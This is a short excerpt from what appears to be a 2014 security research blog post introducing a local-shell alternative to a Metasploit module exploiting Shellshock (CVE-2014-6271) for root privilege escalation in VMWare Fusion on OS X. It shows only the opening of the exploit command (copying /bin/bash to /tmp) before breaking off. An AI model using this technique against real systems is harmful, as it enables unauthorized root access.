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OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection: Local Use

by digitaloperatives | Sep 25, 2014 | Research

Just wanted to post a quick alternative of Metasploit’s VMWare Fusion CVE-2014-6271 exploit ( metasploit-framework / modules / exploits / osx / local / vmware_bash_function_root.rb ) for local shell use. hephaestus:~ jdugie$ for cmd in "cp /bin/bash /tmp/"...

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